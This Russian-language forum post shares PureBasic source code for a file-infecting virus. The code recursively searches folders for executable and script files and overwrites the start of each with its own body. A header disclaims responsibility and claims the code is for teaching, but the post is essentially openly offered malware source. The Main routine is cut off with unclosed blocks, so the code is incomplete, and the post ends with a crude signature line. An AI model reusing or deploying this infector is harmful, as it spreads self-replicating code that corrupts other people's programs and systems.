Воскресенье, 22.12.2024, 09:02 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Neo, xXxSh@dowxXx  
Файловый вир на PureBasic
ЧеботарьДата: Суббота, 03.09.2016, 23:09 | Сообщение # 1
Новичок
Зарегистрирован: 03.09.2016
Группа: Пользователи
Сообщений: 3
Статус: Offline
Код
;***************************************************************************************************
;* Исходник файлового вируса, написанный на языке PureBasic. Для компиляции в среде PureBasic 5.30.
;* Поведение: вирус ищет и заражает исполняемые файлы, дописывая к ним свой код.                         
;* Внимание! Программа, скомпилированная из данного исходника, может представлять опасность!
;* Автор не несет ответственности за Ваши действия. Разрешено использование только в учебных целях.
;***************************************************************************************************

EnableExplicit

#vsize=16384
;размер тела вируса, в байтах зависит от версии компилятора.
;Должно точно соответствовать размеру скомпилированного файла.
;Чтобы уточнить, скомпилируйте и посмотрите, сколько у Вас будет весить файл.

Global *mem,progname.s,progpath.s

Procedure InfectFile(filename.s)
  ;Простой метод заражения в заголовок (вирус скидывает заражаемый файл в свой оверлей)  
  Define hfile,fsize,*ptr
  hfile=OpenFile(#PB_Any,filename)
  If hfile
    fsize=Lof(hfile)
    If fsize < #vsize Or fsize > 5000000:CloseFile(hfile):ProcedureReturn:EndIf
    *ptr=AllocateMemory(fsize)
    ReadData(hfile,*ptr, fsize)
    FileSeek(hfile,0)
    TruncateFile(hfile)
    WriteData(hfile,*mem,#vsize)
    FileSeek(hfile,#vsize)
    WriteData(hfile,*ptr,fsize)
    CloseFile(hfile)
  EndIf
EndProcedure

Procedure Infect(path.s)
  Define finddata.WIN32_FIND_DATA,hFind.l
  Define.s fname, ext
  If Right(path,1) <> "\":path+"\":EndIf
  hfind=FindFirstFile_(path+"*.*",@finddata)
  If hfind <> -1
    Repeat
      fname=PeekS(@finddata\cFileName)
      If (fname <> ".") And (fname <> "..")
        fname=LCase(path+fname)
        If fname=LCase(progpath):Continue:EndIf
        If finddata\dwFileAttributes | #FILE_ATTRIBUTE_DIRECTORY <> #FILE_ATTRIBUTE_DIRECTORY
          ext=LCase(GetExtensionPart(fname))
          If (ext="exe") Or (ext="pif") Or (ext="cmd") Or (ext="bat") Or (ext="scr")
            infectFile(fname)
          EndIf
        Else
          Infect(fname)
        EndIf
      EndIf
    Until Not FindNextFile_(hfind,@finddata)
  EndIf
  
EndProcedure

Procedure Main()
   
  Define.s tmppath
  Define.l msize,hfile
  Define PI.PROCESS_INFORMATION
  Define SI.STARTUPINFO
  Define *ptr
  progname=ProgramFilename()
  
  progpath=GetPathPart(progname)
  If Right(progpath,1) <> "\":progpath+"\":EndIf
  
  tmppath=RSet(tmppath,300)
  tmppath=Left(tmppath, GetTempPath_(300,@tmppath))
  If Right(tmppath,1) <> "\":tmppath+"\":EndIf
  tmppath+Str(Random(100000))+Str(Random(100000))+Str(Random(100000))+Str(Random(100))
  *mem=AllocateMemory(1)
  hfile=ReadFile(#PB_Any,progname)
  If hfile
    msize=Lof(hfile)
    If msize < #vsize
      CloseFile(hfile)
      End
    Else
      *mem=ReAllocateMemory(*mem,#vsize)
      ReadData(hfile,*mem,#vsize)
      If msize=#vsize
        Infect(progpath)
      Else
        msize=msize-#vsize
        *ptr=AllocateMemory(msize)
        FileSeek(hfile,#vsize)
        ReadData(hfile,*ptr,msize)
        CloseFile(hfile)
        If MoveFile_(progname,tmppath)
          hfile=CreateFile(#PB_Any,progname)
          If hfile
            WriteData(hfile,*ptr,msize)
            CloseFile(hfile)
          EndIf
          FreeMemory(*ptr)
       endif
endif

endprocedure


Делаю минеты
 
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz